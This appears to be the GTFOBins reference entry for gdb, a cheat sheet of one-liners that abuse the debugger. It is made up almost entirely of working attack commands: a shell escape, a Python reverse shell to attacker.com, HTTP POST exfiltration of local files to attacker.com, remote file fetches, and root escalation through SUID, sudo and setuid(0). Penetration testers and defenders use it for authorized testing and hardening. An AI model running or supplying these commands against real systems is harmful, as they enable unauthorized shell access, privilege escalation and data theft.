GTFOBins.github.io/_gtfobins/gdb.md
2019-01-05 11:28:25 +00:00

2.9 KiB

functions
shell reverse-shell file-upload file-download file-write file-read library-load suid sudo capabilities
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gdb -nx -ex '!sh' -ex quit
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This requires that GDB is compiled with Python support. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' -ex quit
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This requires that GDB is compiled with Python support. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. export URL=http://attacker.com/ export LFILE=file_to_send gdb -nx -ex 'python import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u else: import urllib as u, urllib2 as r r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit
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This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server. export LPORT=8888 gdb -nx -ex 'python import sys; from os import environ as e if sys.version_info.major == 3: import http.server as s, socketserver as ss else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit
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This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request. export URL=http://attacker.com/file_to_get export LFILE=file_to_save gdb -nx -ex 'python import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r else: import urllib as r r.urlretrieve(e["URL"], e["LFILE"])' -ex quit
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This requires that GDB is compiled with Python support. LFILE=file_to_write gdb -nx -ex "dump value $LFILE "DATA"" -ex quit
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This requires that GDB is compiled with Python support. gdb -nx -ex 'python print(open("file_to_read").read())' -ex quit
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This requires that GDB is compiled with Python support. gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
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This requires that GDB is compiled with Python support. ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
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sudo gdb -nx -ex '!sh' -ex quit
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This requires that GDB is compiled with Python support. ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit